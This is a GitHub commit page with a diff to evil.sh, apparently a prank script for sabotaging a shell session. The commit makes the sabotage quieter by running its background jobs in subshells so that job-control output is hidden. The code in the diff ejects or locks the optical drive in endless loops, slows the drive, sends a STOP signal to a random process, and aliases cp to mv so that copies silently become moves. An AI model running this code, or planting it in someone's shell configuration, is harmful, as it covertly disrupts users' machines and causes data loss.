Skip to content

Commit 478546e

Browse files
committed
fix mathiasbynens#79 silence job control output
need to start every background job in its own subshell so that we can redirect the job control output to /dev/null. Plus a quotation fix there. Signed-off-by: benaryorg <[email protected]>
1 parent 6e6313a commit 478546e

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

evil.sh

+6-6
Original file line numberDiff line numberDiff line change
@@ -75,29 +75,29 @@ annoying && if [ "$(uname)" = 'Darwin' ]; then
7575
# Much less fun on Macs, alas.
7676
if [[ $[$RANDOM % 2] == 0 ]]; then
7777
# Eject!
78-
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
78+
(sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' &) >/dev/null 2>&1
7979
else
8080
# Lock! Admittedly, much less annoying on most Macs, which don’t support
8181
# locking and are slot-loading anyway.
82-
sh -c 'while :; do drutil tray close; sleep 0.1s; done' > /dev/null 2>&1 &
82+
(sh -c 'while :; do drutil tray close; sleep 0.1s; done' &) >/dev/null 2>&1
8383
fi;
8484
else
8585
N=$[$RANDOM % 3];
8686
if [[ $N == 0 ]]; then
8787
# Open and close randomly after a few minutes.
88-
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
88+
(sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' &) >/dev/null 2>&1
8989
elif [[ $N == 1 ]]; then
9090
# Lock, and keep closing just in case.
91-
sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
91+
(sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' &) >/dev/null 2>&1
9292
else
9393
# Slowness (1× CD speed). This has to be in a loop because it resets with
9494
# every ejection.
95-
sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
95+
(sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' &) >/dev/null 2>&1
9696
fi;
9797
fi;
9898

9999
# Send STOP signal to random process at random time.
100-
destructive && sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
100+
destructive && (sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP "$(ps x -o pid | sed 1d | sort -R | head -1)" &) >/dev/null 2>&1
101101

102102
# Have `cp` perform `mv` instead.
103103
destructive && alias cp='mv';

0 commit comments

Comments
 (0)